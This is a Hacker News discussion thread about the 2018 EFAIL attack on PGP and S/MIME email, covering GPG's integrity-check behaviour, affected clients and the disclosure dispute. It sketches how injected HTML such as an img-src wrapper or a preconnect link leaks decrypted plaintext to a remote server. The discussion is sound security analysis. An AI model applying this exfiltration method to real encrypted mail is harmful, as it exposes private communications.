Surely, telling users to uninstall it was a temporary measure until they can be certain that the bug is fixed. Without it removed, there was a risk that users could be quickly targeted with previously captured replayed messages and if their clients automatically decrypt then it would in fact be a disclosure vulnerability with no user interaction needed.

deong on May 14, 2018 | parent | prev | next [–]

I believe the recommendation is to use something like Signal or iMessage -- an end-to-end encrypted channel that isn't email.

gsnedders on May 14, 2018 | root | parent | next [–]

And which have perfect forward secrecy, which PGP will never have without adding some new per-message communication between the two parties (which would totally violate the layering on top of email).

tptacek on May 14, 2018 | prev | next [–]

This is the worst reaction to a serious and interesting vulnerability I think I've ever seen on HN.

The problem being exploited today is that PGP isn't properly authenticated. PGP has an authenticator, but it's simply the SHA-1 of the plaintext appended to the message. Since even that SHA-1 was a later addition to the protocol, mainstream PGP implementations will process messages that lack the hash and decrypt the message. This is broken: a basic property of modern authenticated cryptography is not to present plaintext to the caller until integrity is checked. There are modern AEAD constructions that go through contortions to obtain that property.

The attack is trivial and obvious *in retrospect*. Attackers strip off the SHA-1 authenticator of a message and then flip bits in the ciphertext to inject HTML that, when rendered, exfiltrates plaintext.

The GPG project objects to the way this attack is characterized. If you strip the SHA-1 hash off a message, GPG will print a warning. But popular mainstream GPG clients don't honor that warning, which doesn't say "Stop, don't process this plaintext I am showing you", but rather "message was not integrity protected". The fact is, there isn't 1 cryptography engineer in 10 that knew exactly what GPG's behavior with a stripped MDC was or how they should check for it.

This is, to me, an almost perfect analog of the event where it was revealed that the curl API didn't check TLS certificates on CURL_SSL_VERIFYHOST=1, but that was OK because the man page said you should use CURL_SSL_VERIFYHOST=2 if you wanted checking. Sure, programming languages cast "true" to 1, and there was literally no meaningful distrinction between 0 and 1 in curl's design, and, sure, dozens of applications were made insecure by that design decision, but, really, it's in the man page, so they should have known better.

Is "don't render plaintext when an MDC isn't present in the message" in the GPG man page?

Other people object because this exploit depends on HTML email to function. It's a vulnerability with HTML email readers, not PGP! That's an even dumber objection. It is precisely analogous to the argument that BEAST and CRIME and Lucky13 weren't vulnerabilities in TLS, because, after all, they depended on browser HTTP behavior in order to function.

The right thing for GPG to have done was to not render plaintext at all if a valid MDC wasn't included in the message. To provide for compatibility and diagnostics in the vanishingly rare cases where it would be needed, they could have had a flag to restore the current insecure behavior. But, like curl, they did the opposite of the right thing, and now they're blaming downstream while implicitly doubling down on their own broken behavior. Not encouraging.

Finally: several people, including the GPG project apparently, are claiming that the researchers behind this work didn't reach out to them. But Werner Koch himself said that the researchers reached out on November 24th of last year.

This is a shitshow, but it's also probably going to be the best crypto attack of the year. Be careful dismissing it; I think that won't be a good look in the long run.

> mjw1007 on May 14, 2018 | parent | next [–]
>
> > But popular mainstream GPG clients don't honor that warning, which doesn't say "Stop, don't process this plaintext I am showing you", but rather "message was not integrity protected".
>
> As more information is coming out, it begins to seem that this is not the case: it looks like most GPG clients do detect the warning/error.
>
> Looking at the table in the paper, most clients weren't vulnerable when using GPG rather than S/MIME.
>
> Thunderbird is listed as vulnerable and would count as a popular mainstream client using GnuPG, but it appears that it (ie, enigmail) is not in fact vulnerable:
>
> https://twitter.com/robertjhansen/status/995977877375070209
>
> According to https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06033..., if a gnupg client uses --status-fd and there's no MDC, it will get
>
> ```
> [GNUPG:] DECRYPTION_FAILED
> ```
>
> and it won't get the usual
>
> ```
> [GNUPG:] DECRYPTION_OKAY
> ```
>
> Further, according to the paper gnupg "returns an error code" in this case, which I take to mean a nonzero exit status.
>
> It that's true, I don't think the situation is at all as bad as you make out.
>
> AIUI using --status-fd has been the usual thing for clients for a decade or so (it isn't a matter of "oh, didn't you know you should use --status-fd, I'm sure it's in the small print somewhere").
>
> > tptacek on May 14, 2018 | root | parent | next [–]
> >
> > Thunderbird and Apple Mail/GPGTools, two of the most popular PGP mail clients, are vulnerable. The table in the paper makes the situation look better than it is by displaying niche clients with very few users alongside the major clients that everybody uses.
> >
> > Like I said upthread: the right answer (it's not even debatable; cryptography engineers deliberately design crypt constructions to have this property) is *not to provide unauthenticated plaintext to callers at all*. This isn't news. Whatever dumb warnings GPG prints are besides the point.
> >
> > > tptacek on May 14, 2018 | root | parent | prev | next [–]
> > >
> > > Incidentally: I'm sure there's some version of GPG that doesn't print DECRYPTION_OKAY when the MDC is stripped, but if I encrypt --disable-mdc and then

decrypt --status-fd 1, I get DECRYPTION_OKAY and an exit code of 0.

cyphar on May 15, 2018 | root | parent | next [–]

I just tried it on my machine (I'm also using gpg 2.2.7) and I got DECRYPTION_FAILED when I do the following:

```
% gpg --version
gpg (GnuPG) 2.2.7
libgcrypt 1.8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Home: /home/cyphar/.gnupg
Supported algorithms:
Pubkey: RSA, ELG, DSA, ECDH, ECDSA, EDDSA
Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256
Hash: SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIP2
% gpg --encrypt --disable-mdc input --output output
% gpg --decrypt --status-fd 1 --output should_not_exist output | grep DECRYPTION_FAILED
[GNUPG:] DECRYPTION_FAILED
% echo $?
2
% diff -s input should_not_exist
Files input and should_not_exist are identical
```

However (as you can see above), it looks like GPG outputs to the file when it shouldn't (and Werner said that it doesn't so there's definitely a bug here).

belorn on May 15, 2018 | parent | prev | next [–]

The reaction is the result of when people's expectations from reading about the attack do not match the actual impact. It has been presented as a fundamental issue with PGP with the recommendation to uninstall and stop using anything associated with it.

I use such programs every day, have developed software which directly use GPG, and administrate servers that depend on GPG every day. Not a single use case is affected by EFail. GPG can still be used by Debian maintainers to sign packages and emails, backups can be encrypted, passwords stored in managers, and so on. Even encrypted email, which is the target of the exploit, have minimal or no impact on me since everyone I know who communicates with encrypted emails have HTML turned off and get big massive warning when the signature is missing (or failed).

EFail can be describe in a single sentence: unsigned PGP data will only give warning when MDC is missing, potentially leaking plaintext in mail clients that render HTML. The scope of this looks to be quite small and a far cry from the suggested idea to uninstall GPG and abandon everything it has touched.

xorcist on May 14, 2018 | parent | prev | next [–]

> If you strip the SHA-1 hash off a message, GPG will print a warning.

That's far from the whole story. If you strip off the authentication, GPG will fail with an error. Not a warning message.

(Over a socket, gpg will have started sending real data before failing, due to a bad and ancient design. OpenPGP can improve here, so let's point out the real problems instead of making up simpler ones for the sake of a good story.)

If your mail client supports encrypted email silently ignoring errors there's going to be more attacks possible than this one. And if you're parsing untrusted HTML with Outlook 2007, well, that might be problematic in itself.

I don't think anyone is dismissing the attack itself, but the communication around it could have been a little better. Most use of GPG takes place outside of MUAs.

tptacek on May 14, 2018 | root | parent | next [–]

GPG provides unauthenticated plaintext to callers. It needs to stop. There's not much more to discuss.

xorcist on May 14, 2018 | root | parent | next [–]

Nobody is arguing against that, so there's really no one to convince.

What's being argued against are statements like "gpg doesn't fail on unauthenticated messages", and "stop using gpg with email" where the former just isn't true and the latter isn't very helpful seeing how the vast majority of gpg usage is things like git workflows which are completely unaffected by this.

tptacek on May 14, 2018 | root | parent | next [–]

Everybody who argues that clients should be more careful checking warning messages and error codes and therefore this isn't a GPG problem is in fact arguing that.

cyphar on May 15, 2018 | root | parent | next [–]

I don't see why we shouldn't hold clients accountable for not checking error codes from a cryptographic tool. Would you have the same opinion if a client didn't check the error code of 'gpg --verify' -- and thus accepted all signed messages as being valid? I think it's fair to say that there is more than one issue at play here.

FWIW, I completely agree that AEAD should have been added to PGP a long time ago and it's asinine that it hasn't been done yet. Not to mention that it's vulnerable to surreptitious forwarding, and the packet format is insanely complicated and has lots of edge-cases that mean that everyone has to emulate GPG in order to work properly. These things concerned me so much that I decided to use ChaCha20-Poly1305 instead of PGP for a recent project. (I was skeptical of this vulnerability when I first read it, but after sleeping on it and reading comments like yours I decided I was mistaken -- especially since .)

xorcist on May 15, 2018 | root | parent | prev | next [–]

You are being very confrontative for no apparent reason. Arguing that mail clients should not hide decryption errors from users is not "in fact" arguing that gpg should keep leaving plaintext fragments around on errors. Far from it.

But it does not matter how perfect encryption tool you can design if your mail client displays a signature as valid when it is in fact not valid.

If you have constructive opinions on how gpg implements AEAD constructs then why not take them to the mailing list? There are plenty of know-it-all personalities in the open source community, but Werner is not one of them.

tptacek on May 15, 2018 | root | parent | next [–]

Speaking of that:

https://www.benthamsgaze.org/2018/05/15/tampering-with-openp...

ipioxu15 on May 14, 2018 | prev | next [–]

Also discussed here: https://news.ycombinator.com/item?id=17063109

_bxg1 on May 14, 2018 | prev | next [–]

The fact that emails can contain images and active HTML has caused a slurry of security problems over the years.

Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.

acdha on May 14, 2018 | parent | next [–]

> Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.

This approach requires too much diligence for most cases: people will forget to switch to the encrypted system, they won’t have a key / it’s expired because they don’t use it regularly, the software will remain horrible because nobody uses it, etc. Encryption needs to be enabled and usable by default if you don’t want a regular stream of human error.

tonetheman on May 14, 2018 | prev | next [–]

Does every attack now get some type of catchy name? It feels like when the weather channel randomly said they would start naming storms too.

craigphicks on May 23, 2018 | prev | next [–]

The EFAIL is particularly effective because it can surround every whole encrypted block B with chosen encrypted binary to yield ABC which decrypts to

```
"...<img src="...[plaintext of b]...">.
```

Yet it also has the limitation that it cannot further divide the encrypted block B. Also, EFAIL depends upon plaintext of B being part of and HTML attribute value. Attribute values have a choice of only three final delimiters: doublequote (") singlequote (') and space ( ). So if every plaintext that is encrypted as a single block is prefaced by those three characters, then EFAIL cannot what comes after those characters. (Call it an obfuscation string). Play round with this sandbox

```
https://try.jsoup.org/%7E_nyXks5PuAs-zJeek8CVhpuAvtI
```

to see how that works.

I've written in more detail at

```
A Solution for Sending Messages Safely from EFAIL-safe Senders to EFAIL-unsafe Receivers
https://github.com/craigphicks/efail-safe-send-to-insec-recv/wiki
```

The thing about new EFAIL reading-safe versions that somehow force or Strongly! advise to use MDC is that some readers won't update for years. And that becomes the problem of the sender when their messages are exfiltrated. Only if the message format is changed so that old readers can't read new messages ... but there are obvious drawbacks to that.

That's why I think this sender-safe solution, even if its a bit ugly, is worth considering.

Any implementation would have to be close to the encryption module, to avoid any mistakes aligning the obfuscation string with the encryption boundary start, actively checking that alignment is correct.

aleks_me2 on May 15, 2018 | prev | next [–]

I have read the statement on eff https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you... and can't think about that this is a PR for Signal. I assume that signal will start some e-mail services soon and try now to shade the current mostly safe communication tools in bad light. I hope I'm wrong, the future will it shows.

It would be interesting to know if the https://darkmail.info/ initiate is still active. As far as I understand this solution are the metadata also invisible at the transport level. Can anyone shade a light on this?

titzer on May 14, 2018 | prev | next [–]

Is this vulnerability seriously due to improperly escaped (quoted) inputs? Correct me if I am wrong, but FFS.

> jcranmer on May 14, 2018 | parent | next [–]
>
> Pretty much.
>
> This is the big fail of MIME, that literally concatenating different sections together into one document is the intended way of implementing much of multipart handling.

jolmg on May 14, 2018 | prev | next [–]

Were the development teams of Apple Mail, iOS Mail and Mozilla Thunderbird contacted about this and given time to fix their issues before publication? The page makes no mention of this. It makes it look that this wasn't disclosed responsibly.

> EthanHeilman on May 14, 2018 | parent | next [–]
>
> >It makes it look that this wasn't disclosed responsibly.
>
> Not sure how anyone could say if the disclosure was or was not responsible based on who got advanced warning. Full-disclosure, i.e. all details without any prior warning, can be responsible disclosure. Coordinated disclosure, i.e. providing advanced warning, can be less responsible than full disclosure. It depends on the circumstances and surrounding context.
>
> > jolmg on May 15, 2018 | root | parent | next [–]

That might be true in general, but for this particular case, it would seem like it'd be irresponsible to disclose without giving advanced warning to the email client developers. We're talking about giving the chance for journalists, political activists, etc. to be protected from this bug via a typical, routine software update without having to know about the bug before their potential attackers. If the vulnerability is still on, it's now a race on who'll learn the news first, the potential attackers to exploit it or the potential victims to avoid it.

mkj on May 14, 2018 | prev | next [–]

Huh, PGP encrypted messages aren't authenticated? (No HMAC etc)

A1kmm on May 14, 2018 | parent | next [–]

If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret.

GPG does optionally support signing, which provides for integrity for message contents, but it is optional, so is not a useful mitigation here.

It supports a Modification Detection Code (MDC), which is just a hash of the message. In scenarios where GPG won't decrypt without an MDC being present, it would be a reasonable defence against this attack, because to generate a valid MDC, you would need to know the entire contents of the message, and if you know the entire contents of the message, you wouldn't gain anything from this attack.

CiPHPerCoder on May 14, 2018 | root | parent | next [–]

> If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret.

No, they don't. I described a naive RSA+AES hybrid cryptosystem here that includes HMAC authentication without a pre-shared key: https://paragonie.com/blog/2018/04/protecting-rsa-based-prot...

floatboth on May 14, 2018 | root | parent | prev | next [–]

> optional, so is not a useful mitigation here

Why in the heck does anyone ever send encrypted-only, non-signed messages?!?!

AgentME on May 14, 2018 | root | parent | next [–]

Other than anonymity, non-repudiation is a possibility. I may not want the recipient of my messages to be able to undeniably prove what I said to them. This case is important if I'm saying unflattering things about a mutual friend, or my messages could be read as admitting a crime, etc.

(Though note that the vulnerability here still applies to signed messages too: https://efail.de/#will-signatures)

consp on May 14, 2018 | parent | prev | next [–]

Most clients incorporate Authenticated Encryption but since some don't work well with it, it is not a decrypt failure if not present. It should be and solves the problem as per what Koch said [1].

[1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

codezero on May 14, 2018 | prev | next [–]

Has anyone seen a tool that will go through a mailbox and check for this attack? I'm really curious if anyone can find an example of this in the wild before publication.

ddtaylor on May 14, 2018 | prev | next [–]

What I'm taking away from this as a security researcher is that how you package the argument really matters. Heartbleed showed us that you need to have some PR savvy if you expect to get people to understand the impact of your research, but likewise this shows us that if you're not careful it can backfire.

If these guys would have released it with very slightly different wording there wouldn't be as much backlash in this thread and arguing over semantics.

cromwellian on May 14, 2018 | prev | next [–]

I see how this can be used to exfiltrate an email you've sent to others, but th exploit doesn't seem to show how to exfiltrate private emails between other parties. I mean, it's an interesting bug, but since the only I can exfiltrate is the contents of plaintext I sent you in the same exploit then it doesn't seem to leak anything other than any HTML email does.

Am I missin something?

onlydnaq on May 14, 2018 | parent | next [–]

If I want to decrypt a message to you that I have intercepted I can create my own email containing a modification of the intercepted message and send it to you, causing you to send me the plaintext contents.

usrusr on May 14, 2018 | root | parent | next [–]

That's my understanding as well. Someone could try to make your email client img-src-get the plaintext of previously intercepted mails to a remote server, but it would be a very "noisy" attack: your typical PGP user would very quickly fall into a panic if they received all their old encrypted mail *again*, and for some reason the client would constantly beg for external image downloads in apparently plain text mails.

geocar on May 14, 2018 | parent | prev | next [–]

Sure. Assume you're a state-actor who wants to read someone's email. You can force their ISP to add code to their SMTP server that adds an efail-pixel jacket, but you can't force them to turn over the customer keys.

cromwellian on May 14, 2018 | root | parent | next [–]

Ah ok, I see, it’s kind of a replay attack. Seems like SMIME itself is broken because it doesn’t do whole message integrity.

eyeareque on May 14, 2018 | prev | next [–]

If you use a Mac without in client decryption, you’re fine. Also, if you use little snitch, you’d catch the request going out if it was hosted on a site you haven’t white listed.

Also, who allows image loading by default? Disable this if you haven’t yet. Spammers abused this for tracking a long time ago.

beders on May 14, 2018 | prev | next [–]

Isn't that a failure to implement MIME parsing correctly? The moment the MIME parser sees the BOUNDARY string, the part is finished. Then the content can be decoded and parsed, which is invalid HTML. Parsing MIME parts is not black magic.

schadom on May 14, 2018 | prev | next [–]

So firewalling eg. Apple Mail with some personal firewall like LittleSnitch to allow only SMTP/IMAP/POP3 for outbound connections should easily mitigate the issue.

kbumsik on May 14, 2018 | prev | next [–]

> The EFAIL attacks require the attacker to have access to your S/MIME or PGP encrypted emails.

So the attacker needs to intercept email, but how they can access it?

arca_vorago on May 14, 2018 | prev | next [–]

One more reason to stop using html emails people...

dane-pgp on May 14, 2018 | parent | next [–]

People would be more secure if the web didn't use HTML too (or certainly if it didn't have JavaScript), but trying to convince users not to like features of their software has never been a very productive security strategy.

testcross on May 14, 2018 | prev | next [–]

Even protonmail says the authors were not responsible by letting EFF communicating so strongly...

https://mobile.twitter.com/ProtonMail/status/996006094605570...

jwilk on May 14, 2018 | parent | next [–]

Non-mobile link:

https://twitter.com/ProtonMail/status/996006094605570048

fouc on May 14, 2018 | prev | next [–]

TIL: I should be using Mutt.

AnaniasAnanas on May 14, 2018 | prev | next [–]

[flagged]

veeti on May 14, 2018 | parent | next [–]

> (in fact I am not aware of any client that is vulnerable to this)

> First, the direct exfiltration attack abuses vulnerabilities in Apple Mail, iOS Mail and Mozilla Thunderbird...

dijit on May 14, 2018 | root | parent | next [–]

I can see how it would work against Apple Mail/iOS Mail since they load HTML and external elements by default.

I would be interested to see the attack working on a Thunderbird client with Enigmail installed and no other settings changes (like; loading external resources).

baby on May 14, 2018 | root | parent | next [–]

According to this table Thunderbird is vulnerable: https://twitter.com/matthew_d_green/status/995998626785714176...

jcranmer on May 14, 2018 | root | parent | next [–]

Thunderbird disables remote loading by default. It's vulnerable only if you take measures to override this, which is to say, you either:

1. Use movemail to receive email instead of IMAP or POP (there's an interesting vector to get your remote resources loaded by using movemail. If you read the code, you can probably guess it).

2. Enable remote loading for all senders by default.

3. Try to send an email with a sender you think will be whitelisted.

4. Convince the user to click on a link.

tom_mellior on May 14, 2018 | root | parent | next [–]

> Thunderbird disables remote loading by default.

From the paper: "For example, in Thunderbird and Postbox we can completely redress the UI with CSS and trick the user into submitting the plaintext with an HTML form if he clicks somewhere into the message."

This is bad news. Also, they claim/suggest that the following:

```
<link href="http://efail.de" rel="preconnect">
```

is a "bypass for remote content blocking" in Thunderbird, whatever that may mean exactly.

EDIT: Mozilla's docs at https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types say about preconnect: "Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, *without disclosing any private information or downloading any content*, so that when the link is followed the linked content can be fetched more quickly." (emphasis mine). If that is really the spec and I understand it correctly and Thunderbird behaves differently, then that seems like a bug in Thunderbird.

bscphil on May 14, 2018 | root | parent | next [–]

Allowing preconnects when remote resource loading is disabled would be a serious security fail, so I hope that's not what Thunderbird is doing. Suppose I initiated a connection to long-unique-identifier.mysite.com? At minimum this could be used for tracking beacons, possibly even to exfiltrate data.

jakobegger on May 14, 2018 | root | parent | prev | next [–]

Since the exploit depends on sending manipulated emails, I think that 3. and 4. are pretty easy, since it'll look like the email is from a

trusted sender (and encrypted)

flatline on May 14, 2018 | root | parent | next [–]

The encrypted messages will not be signed, unless the trusted sender is also the attacker or their key is compromised.

jakobegger on May 14, 2018 | root | parent | next [–]

Does Thunderbird verify that the message is signed before displaying images from a whitelisted sender?

xorcist on May 14, 2018 | root | parent | prev | next [–]

This is the weird part. Sure, Outlook 2007 and Apple Mail are vulnerable, but if you are really parsing untrusted HTML with these clients you probably have more pressing problems (running arbitrary code, perhaps).

From a quick test it seems like a completely standard Thunderbird/Enigmail not only checks the error code from gpg, but also doesn't render HTML by default. There must be something more to this, unless something was fixed quite recently, in which case that would seem very relevant to the announcement.

AnaniasAnanas on May 14, 2018 | parent | prev | next [–]

Also, the second attack seems quite similar to https://eprint.iacr.org/2005/033.pdf.

tptacek on May 14, 2018 | root | parent | next [–]

It's not. The MDC-stripping attack on PGP is very well known --- it's obvious from the structure of the protocol. The paper you're citing uses it to build a direct plaintext recovery attack similar to a padding oracle. Today's paper uses ciphertext malleability to inject active content that exfiltrates the plaintext.

AnaniasAnanas on May 14, 2018 | parent | prev | next [–]

Also relevant https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

jwilk on May 14, 2018 | root | parent | next [–]

This seems to contradict the earlier claim that "the GnuPG team was not contacted by the researchers".

tripzilch on May 14, 2018 | root | parent | next [–]

As far as I understand it, the earliest communication was 2017/11/24, which they addressed as it appeared that GnuPG wasn't vulnerable as it would fail with an error message when processing the exploit as it was known in November.

A few days later, they got an email asking for a phone call, which wasn't followed up upon--I'm not sure to what extent this is GnuPG's fault, whether this is a usual way of communicating a serious vulnerability. It would've been better if they called em back, definitely goes for both parties.

Then after a few months of silence, 2.5 weeks ago, they received another email with a different title that, according to Werner Koch, was too redacted to act upon:

```
On 2017-11-29 we got a short mail asking for a phone call.  It might be
that I did not reply to that but in any case my office phone number is
easy to lookup.  I did not get a phone call.

Since then we have not seen any more communication - not even about the
proposed coordinated public disclosure.  Thus I closed this issue in
December and forgot about it.

On 2018-04-27 I received another paper via a Kmail developer which had a
different title than the one from November

    *** DO NOT PUBLISH OR SHARE ON PUBLIC MAILING LISTS ***
    Efail: Breaking S/MIME and OpenPGP Email Encryption using
                        Exfiltration Channels
```

```
and no author names etc.  The GnuPG team discussed this but did not see
that any action was required.  In particular because due to the
redaction we were not able to contact and help the developers of other
MUAs which might be affected.
```

I mean yeah, *in theory*, BOTH parties could have been better at communicating and following up on it. But both parties are probably very busy and this kind of "no you call me back" is the sort of thing that falls through if you have to make choices about what to spend limited time on. That's why there exists *protocol* and *coordination* to tell something is really serious/urgent.

It does seem to me that the security researchers were a bit too trigger-happy on the redacting of information, *in particular* unnecessarily so in private emails to the security folk they expected to act on the vulnerability.

Foxboron on May 14, 2018 | root | parent | prev | next [–]

It however confirms that the OpenPGP devs had no knowledge of an embargo, and thus didn't break any embargo. Sebastian Schinzel claimed they had to publish early because the embargo broke.

Promarged on May 14, 2018 | prev [–]

The bug would work only if all of these are true:

```
- only-encrypted (not signed) message (signing is good practice),
- clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)
- client that rendered HTML mail with broken markup,
- client that automatically fetches remote resources.
```

tl;dr this is a *very* narrow case

A1kmm on May 14, 2018 | parent | next [–]

> only-encrypted (not signed) message (signing is good > practice),

Or the client decrypts it even if unsigned, or the attacker signs the message.

> clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)

I think the client would not only need to use MDC, but also enforce its presence and validity, which is somewhat more likely to allow an attack.

> client that rendered HTML mail with broken markup,

The HTML5 specification defines exactly how HTML inputs should be processed for nearly every possible input, so this applies to any HTML5 compliant email client.

> client that automatically fetches remote resources

I have this turned off in my client, but many email users these days (possibly even those using GPG) have settings to automatically download remote content.

jwilk on May 14, 2018 | parent | prev [–]

It doesn't matter if the message was signed or not:

https://efail.de/#will-signatures